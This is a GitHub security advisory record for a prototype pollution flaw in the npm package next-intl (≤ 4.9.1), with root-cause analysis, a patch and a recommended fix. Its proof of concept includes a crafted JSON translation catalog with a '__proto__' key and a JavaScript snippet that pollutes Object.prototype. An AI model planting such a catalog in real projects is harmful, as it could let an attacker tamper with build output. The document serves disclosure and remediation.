GHSA-4c35-wcg5-mm9h: Next intl Next-intl Has Prototype Pollution With Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4c35-wcg5-mm9h",
  "modified" : "2026-05-06T17:34:12Z",
  "published" : "2026-05-06T17:34:12Z",
  "aliases" : [ ],
  "summary" : "next-intl has prototype pollution with `experimental.messages.precompile` via attacker-controlled translation catalog keys",
  "details" : "## Summary\n\n`setNestedProperty` in `packages/next-intl/src/extractor/utils.tsx` walks a dotted key path and assigns the final value without blocking the reserved keys `__proto__`, `constructor`, or `prototype`. When the next-intl Next.js plugin is configured with `experimental.messages` and `messages.precompile: true`, a JSON translation catalog containing a top‑level `__proto__` key causes `setNestedProperty(result, '__proto__.isAdmin', compiledMessage)` to assign onto `Object.prototype`, polluting every object in the running build process.\n\n## Details\n\nRoot cause — `packages/next-intl/src/extractor/utils.tsx:13-34`:\n\n```ts\nexport function setNestedProperty(\n  obj: Record<string, any>,\n  keyPath: string,\n  value: any\n): void {\n  const keys = keyPath.split('.');\n  let current = obj;\n\n  for (let i = 0; i < keys.length - 1; i++) {\n    const key = keys[i];\n    if (\n      !(key in current) ||\n      typeof current[key] !== 'object' ||\n      current[key] === null\n    ) {\n      current[key] = {};\n    }\n    current = current[key];\n  }\n\n  current[keys[keys.length - 1]] = value;\n}\n```\n\nThe existence check `!(key in current)` uses the `in` operator, which walks the prototype chain. For `key === '__proto__'`, `'__proto__' in {}` is `true` (it's inherited from `Object.prototype`) and `typeof current['__proto__'] === 'object'` (it *is* `Object.prototype`). The guard therefore never re-initializes `current[key]`, and `current = current['__proto__']` redirects all subsequent writes onto `Object.prototype`. The final assignment `current[keys[keys.length-1]] = value` sets `Object.prototype[<attacker key>] = <attacker value>`.\n\nBuild-time data flow:\n\n1. `packages/next-intl/src/plugin/catalog/catalogLoader.tsx:55-83` — the webpack/turbopack loader receives the catalog file `source` and, if `options.messages.precompile` is enabled, calls `codec.decode(source, {locale})`.\n2. `packages/next-intl/src/extractor/format/codecs/JSONCodec.tsx:9-18` — `decode` runs `JSON.parse(source)`. V8 installs `__proto__` as an **own data property** on the result when the JSON key is literally `\"__proto__\"` (bypassing the normal `Object.prototype.__proto__` setter that would otherwise reassign the prototype).\n3. `JSONCodec.tsx:33-53` — `traverseMessages` iterates `Object.keys(obj)`, which for a JSON‑parsed object includes the own `__proto__` key. It reads `obj.__proto__` (returns the attacker’s nested object, not `Object.prototype`, because it's an own property), recurses into it, and emits message id `__proto__.isAdmin`.\n4. `catalogLoader.tsx:71` — `precompileMessages(decoded, cache)`.\n5. `catalogLoader.tsx:89-131` — for each message, calls `setNestedProperty(result, message.id, compiledMessage)`. With `message.id === '__proto__.isAdmin'`, `setNestedProperty` walks into `Object.prototype` and assigns `Object.prototype.isAdmin = compiledMessage`.\n\nThe same sink is also reachable via `JSONCodec.encode` (`JSONCodec.tsx:20-26`) and `POCodec` (`packages/next-intl/src/extractor/format/codecs/POCodec.tsx:87`) during extraction, both of which feed attacker-influenced `message.id` values into `setNestedProperty` — but those paths require control of source-code identifiers, which is a weaker attack vector than the build-time catalog path above.\n\nAfter pollution, every subsequent object access during the remainder of the Next.js build pipeline (webpack, turbopack, babel, next-intl’s own logic) inherits the attacker-controlled properties. This is a classic gadget-chain precondition for corrupting build-tool internals and tampering with generated bundles, since many build tools use patterns like `if (obj.someFlag)` or `options[key] ?? default` that are sensitive to polluted prototypes.\n\nTrust boundary note: next-intl’s message catalogs are realistically attacker-influenced in practice. Translation files are routinely round-tripped through external TMS systems (Crowdin, Lokalise, Transifex), accepted via community locale PRs, or pulled from third-party translation packages — any of which can carry a crafted `__proto__` key unnoticed, since JSON translation diffs are usually merged with minimal scrutiny.\n\n## PoC\n\nPrerequisites: a Next.js project using next-intl ≤ 4.9.1 with the Next.js plugin configured:\n\n```ts\n// next.config.ts\nimport createNextIntlPlugin from 'next-intl/plugin';\n\nconst withNextIntl = createNextIntlPlugin({\n  experimental: {\n    messages: {\n      path: './messages',\n      format: 'json',\n      locales: 'infer',\n      precompile: true\n    }\n  }\n});\n\nexport default withNextIntl({});\n```\n\n1. Drop a malicious catalog at `messages/en.json`:\n\n   ```json\n   {\n     \"Greeting\": \"Hello\",\n     \"__proto__\": { \"isAdmin\": \"polluted\" }\n   }\n   ```\n\n2. Run `next build` (or `next dev`). The `catalogLoader` will invoke `JSONCodec.decode` → `traverseMessages` → `precompileMessages` → `setNestedProperty`.\n\n3. Minimal reproduction of the sink itself (verified locally against the v4.9.1 source):\n\n   ```js\n   function setNestedProperty(obj, keyPath, value) {\n     const keys = keyPath.split('.');\n     let current = obj;\n     for (let i = 0; i < keys.length - 1; i++) {\n       const key = keys[i];\n       if (!(key in current) || typeof current[key] !== 'object' || current[key] === null) {\n         current[key] = {};\n       }\n       current = current[key];\n     }\n     current[keys[keys.length - 1]] = value;\n   }\n\n   setNestedProperty({}, '__proto__.isAdmin', 'PWNED');\n   console.log(({}).isAdmin); // -> \"PWNED\"\n   ```\n\n   Output: `PWNED`.\n\n4. Full chain reproduction (also verified):\n\n   ```js\n   const parsed = JSON.parse('{\"Greeting\":\"Hello\",\"__proto__\":{\"isAdmin\":\"polluted\"}}');\n   // traverseMessages emits: [{id:\"Greeting\",message:\"Hello\"},{id:\"__proto__.isAdmin\",message:\"polluted\"}]\n   // precompileMessages then calls setNestedProperty(result, \"__proto__.isAdmin\", \"polluted\")\n   console.log(({}).isAdmin); // -> \"polluted\"\n   ```\n\n   After the loader runs, `({}).isAdmin === 'polluted'` for the remainder of the build Node process.\n\n## Impact\n\n- `Object.prototype` is polluted for the lifetime of the build‑time Node.js process, affecting every object created or inspected thereafter in the Next.js build pipeline (webpack/turbopack loaders, babel plugins, next-intl’s own codecs, user plugins).\n- Classic CWE-1321 gadget-chain precondition: downstream tools that branch on `obj.someFlag`, `options[key] ?? default`, `if (!config.noX)`, etc. can be coerced into unintended behavior, including emitting tampered bundles.\n- Realistic delivery vectors include TMS round-trips (Crowdin/Lokalise/Transifex), community locale PRs, and compromised/transitively-installed translation packages — all situations where a JSON catalog diff is routinely accepted without the scrutiny given to code changes.\n- Exploitation requires the user to opt in to the `experimental.messages` + `precompile` configuration. Users who do not use the extractor/precompile features are not affected.\n\n## Recommended Fix\n\nReject reserved keys in `setNestedProperty` and stop using the `in` operator for the existence check. A minimal patch to `packages/next-intl/src/extractor/utils.tsx`:\n\n```ts\nconst FORBIDDEN_KEYS = new Set(['__proto__', 'constructor', 'prototype']);\n\nexport function setNestedProperty(\n  obj: Record<string, any>,\n  keyPath: string,\n  value: any\n): void {\n  const keys = keyPath.split('.');\n  for (const key of keys) {\n    if (FORBIDDEN_KEYS.has(key)) {\n      throw new Error(`Invalid message id segment: ${key}`);\n    }\n  }\n\n  let current = obj;\n  for (let i = 0; i < keys.length - 1; i++) {\n    const key = keys[i];\n    if (\n      !Object.prototype.hasOwnProperty.call(current, key) ||\n      typeof current[key] !== 'object' ||\n      current[key] === null\n    ) {\n      current[key] = Object.create(null);\n    }\n    current = current[key];\n  }\n\n  current[keys[keys.length - 1]] = value;\n}\n```\n\nAdditionally:\n\n- In `packages/next-intl/src/extractor/format/codecs/JSONCodec.tsx`, make `traverseMessages` skip reserved keys (or switch to `Object.create(null)` + `Object.hasOwn` semantics) so that a malicious catalog is rejected early with a clear error rather than producing `__proto__.*` message ids.\n- In `packages/next-intl/src/plugin/catalog/catalogLoader.tsx`, initialize `precompileMessages`’s `result` with `Object.create(null)` as defense in depth, so even if a key slipped through it could not redirect through `Object.prototype`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "next-intl"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.9.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.9.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/amannn/next-intl/security/advisories/GHSA-4c35-wcg5-mm9h"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/amannn/next-intl"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T17:34:12Z",
    "nvd_published_at" : null
  }
}